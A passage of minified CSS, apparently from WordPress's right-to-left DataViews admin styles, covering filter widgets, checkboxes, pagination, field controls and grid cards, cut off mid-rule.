.dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{border:1px solid #1e1e1e;border-radius:50%;height:24px;margin-left:12px;max-width:24px;min-width:24px;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{height:16px;max-width:16px;min-width:16px;width:16px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked{background:var(--wp-admin-theme-color);border:none}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{margin:0;padding:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{background-color:#fff;border:4px solid #fff;border-radius:50%;box-sizing:inherit;content:"";height:12px;margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:24px;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-left:12px;padding:6px 8px;transition:none}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked::-ms-check{opacity:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{margin:-4px -5px 0 0}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{content:"\f460";display:inline-block;float:right;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{float:none;font-size:21px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:disabled,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{background:#fff;color:#1e1e1e;height:var(--checkbox-size);margin:0;padding:0;position:relative;width:var(--checkbox-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:16px}}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:border-color .1s ease-in-out}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:var(--checkbox-size);fill:#fff;height:var(--checkmark-size);position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:var(--checkmark-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:calc(var(--checkbox-size) + 4px)}}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;line-height:normal;padding:6px 8px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{display:block;font-size:16px;height:32px;margin-left:0;margin-right:0;padding:0 32px 0 8px;width:100%}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{align-items:center;bottom:0;display:flex;inset-inline-start:12px;justify-content:center;position:absolute;top:0;width:24px}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon:dir(ltr){transform:scaleX(-1)}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;left:0;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;text-align:center;top:0;transform:translate(-50%,-50%)}.dataviews-search{width:fit-content}.dataviews-filters__user-input-widget{padding:16px}.dataviews-filters__user-input-widget .components-input-control__prefix{padding-right:8px}.dataviews-filters__search-widget-no-elements{align-items:center;display:flex;justify-content:center;padding:16px}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;padding:12px 48px;position:sticky;right:0}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}.dataviews-footer{z-index:2}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-picker-footer__bulk-selection{align-self:flex-start;height:32px}.dataviews-picker-footer__actions{align-self:flex-end}.dataviews-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox{flex-shrink:0;line-height:0}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid-items{container-type:inline-size;display:grid;gap:32px;grid-template-columns:repeat(auto-fill,minmax(230px,1fr));grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@container (max-width: 430px){.dataviews-view-grid-items{padding-left:24px;padding-right:24px}}@media not (prefers-reduced-motion){.dataviews-view-grid-items{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-content:center;min-height:24px;overflow:hidden;text-align:start}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.0